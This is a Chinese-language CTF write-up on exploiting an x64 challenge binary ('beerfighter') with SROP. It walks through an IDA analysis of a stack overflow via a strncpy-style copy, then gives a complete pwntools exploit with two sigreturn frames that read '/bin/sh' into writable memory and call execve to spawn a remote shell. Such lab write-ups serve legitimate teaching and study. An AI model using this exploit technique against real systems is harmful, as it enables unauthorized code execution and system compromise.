(ps:x64 SROP)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
前置知识:{
- 汇编REP指令 当CX/ECX<>0时重复
2.arm movsq指令
生成重复移动字符串 (rep movsq) 指令
__movsq 函数 ->x64体系结构
语法:
void __movsq(
unsigned char* Dest,
unsigned char* Source,
size_t Count
);
参数:
dest:该操作的目标。
source:操作的源。
count:要复制的四字的数目。
例:
// movsq.cpp
// processor: x64
#include
#include
#pragma intrinsic(__movsq)
int main()
{
unsigned __int64 a1[10];
unsigned __int64 a2[10] = {950, 850, 750, 650, 550, 450, 350, 250,
150, 50};
__movsq(a1, a2, 10);
for (int i = 0; i < 10; i++)
printf_s("%d ", a1[i]);
printf_s("\n");
}
//output:950 850 750 650 550 450 350 250 150 50
}
1.布置环境,查看程序信息和保护机制,运行*64远程调试文件



- ida *64打开程序分析。

函数列表有printf和read_n函数。

漏洞围绕在main函数的局部变量buf字符数组(rbp-410h)
将buf数组传入make_your_choice

然后make_your_choice,只有键入1的情况才会 调用option_1函数传入a1,发生栈溢出

option_1函数先read_n对大小为2048的buf数组写入数据,再调用sub_40040E,将buf读入的2048个字节复制到a1(main函数的局部变量buf(rbp-410h))处

sub_40040E函数分析一下就可知是strncpy函数。
所以写入超过0x418 的数据就可以覆盖返回地址
由于要用SROP 所以需要/bin/sh字符串,然而程序中并没有,可以找个地方写进去,


3.SROP exp:
from pwn import *
# context.log_level = "debug"
context.binary = './beerfighter'
pop_rax_ret = 0x40077a
syscall_ret = 0x400738
stack_can_write_end = 0x603000 #??? rw p
can_write_add = stack_can_write_end - 0x200
shell_len = 0x180
link = remote("192.168.93.137","6666")
payload = 'A' * 0x418
payload += p64(pop_rax_ret)
payload += p64(0xf)
payload += p64(syscall_ret)
frame1 = SigreturnFrame(kernel='amd64')
frame1.rax = constants.SYS_read
frame1.rdi = constants.STDIN_FILENO #306 return 0
frame1.rsi = can_write_add
frame1.rdx = 0x8
frame1.rsp = can_write_add
#rsp若不许栈转移执行shellcode,就填一个可写的内存地址即可
frame1.rip = syscall_ret
payload += str(frame1)
link.recvuntil("number >")
link.sendline('1')
link.recvuntil("number >")
link.sendline('0')
link.recvuntil("here > ")
link.sendline(payload)
link.recvuntil("number > ")
link.sendline('3')
link.recvuntil("By !\n")
frame2 = SigreturnFrame(kernel='amd64')
frame2.rax = constants.SYS_execve
frame2.rdi = can_write_add
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp = can_write_add
payload2 = ''
payload2 += p64(pop_rax_ret)
payload2 += p64(0xf)
payload2 += p64(syscall_ret)
payload2 += str(frame2)
payload2 = payload2.ljust(shell_len,'A') + '/bin/sh\x00'
link.sendline(payload2)
sleep(0.1)
link.interactive()
#注意rsp的指向。以及payload的位置布置

整理流程:键入相关数字进入栈溢出函数->栈溢出覆盖main函数的返回地址 -> 退到main函数 -> 执行sigreturn系统调用 -> 恢复frame1 劫持栈 rsp 以及调用read函数,将数据读入到新栈 (frame1 rip为syscal_ret) -> 布置读入的数据位置 -> 1.引发sigreturn系统调用的指令 2.要劫持的frame2 3.字符串 /bin/sh\x00 -> 执行sigreturn系统调用 恢复frame2 ->执行frame2所设置的execve getshell